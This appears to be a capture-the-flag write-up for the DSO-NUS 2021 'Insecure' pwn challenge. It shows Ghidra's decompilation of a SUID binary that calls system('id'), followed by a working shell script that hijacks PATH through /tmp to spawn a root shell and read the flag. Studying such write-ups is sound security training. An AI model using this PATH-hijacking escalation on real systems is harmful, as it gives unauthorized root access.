Insecure [Pwn]

3 minute read

Exploit a program that changes user privilege to root with setuid() to escalate privilege. First pwn challenge from DSO-NUS 2021.

Challenge Description

Someone once told me that SUID is a bad idea. Could you show me why?

This challenge server can be accessed here:

(Any one of the options below is fine)
(Suggested access via 'nc')
nc ctf-85ib.balancedcompo.site 9999
nc ctf-sn3y.balancedcompo.site 9999
nc ctf-rv6w.balancedcompo.site 9999
nc ctf-ptb1.balancedcompo.site 9999
nc ctf-f3jj.balancedcompo.site 9999
nc ctf-4q22.balancedcompo.site 9999
nc ctf-7jca.balancedcompo.site 9999
nc ctf-ea38.balancedcompo.site 9999
nc ctf-jfi4.balancedcompo.site 9999
nc ctf-ks5n.balancedcompo.site 9999

Files (Any of the links are fine):
https://nusdsoctf2.s3-ap-southeast-1.amazonaws.com/S3/Insecure/insecure
https://nusdsoctf.s3-ap-southeast-1.amazonaws.com/S3/Insecure/insecure

*Debug the Pwn challenges locally on your system before connecting to the remote challenge server to exploit and get the flag.

 >> Flag format conversion may have to be done for this challenge (Refer to notifications)

Solution

Throw the binary into ghidra and navigate to the main function. This is the decompiled main function:

undefined8 FUN_00400746(void)
{
  __uid_t __uid;
  __uid_t __uid_00;
  int iVar1;
  undefined8 uVar2;
  
  __uid = getuid();
  puts("I am a SUID binary and can run in varying levels of privilege!");
  puts("\nNow, I run in a less privileged context.");
  system("id");
  __uid_00 = geteuid();
  iVar1 = setuid(__uid_00);
  if (iVar1 == 0) {
    puts("\nNext, I wil run in a more privileged context.");
    system("id");
    setuid(__uid);
    puts("\nOnce I am done, as a good practice, I should return my privileges.");
    puts("And I run in a less privileged context again.");
    system("id");
    uVar2 = 0;
  }
  else {
    printf("Eh? Something went wrong leh.");
    printf("Can contact some geeks about this? Thanks!");
    perror("seteuid");
    uVar2 = 0xffffffff;
  }
  return uVar2;
}

There’s no input taken, hmm… Since I had no idea on what to do at this point, I connected to their server via nc and looked around.

In the root directory, there’s a flag.txt but it can only be read with root privilege. We also have access to only a handful of basic UNIX commands: ls, cd, chmod, id, cat echo, etc. They can be found in /bin.

Another useful information is that all the files and folders do not have write permission for the current user except for /tmp. So we need to perform privilege escalation by using the second system("id") in the program to spawn a shell with root privilege.

To do this, we can create a script in /tmp to replace the original id script such that it calls /bin/bash the second time it is called. To achieve this, we can execute a temporary file (a layer) during the first call. This layer file will change the id script to spawn shell. Then during the second call, a shell will be spawned.

Finally, to make sure that system("id") properly calls our script, we need to chmod +x and add the directory to PATH.

Final Script

echo "#!/bin/bash
/tmp/layer;" > /tmp/id

echo "#!/bin/bash
echo '#!/bin/bash
/bin/bash;' > /tmp/id" > /tmp/layer

chmod +x /tmp/id

chmod +x /tmp/layer

export PATH=/tmp:$PATH

/bin/insecure

cat flag.txt

Flag: lost it XD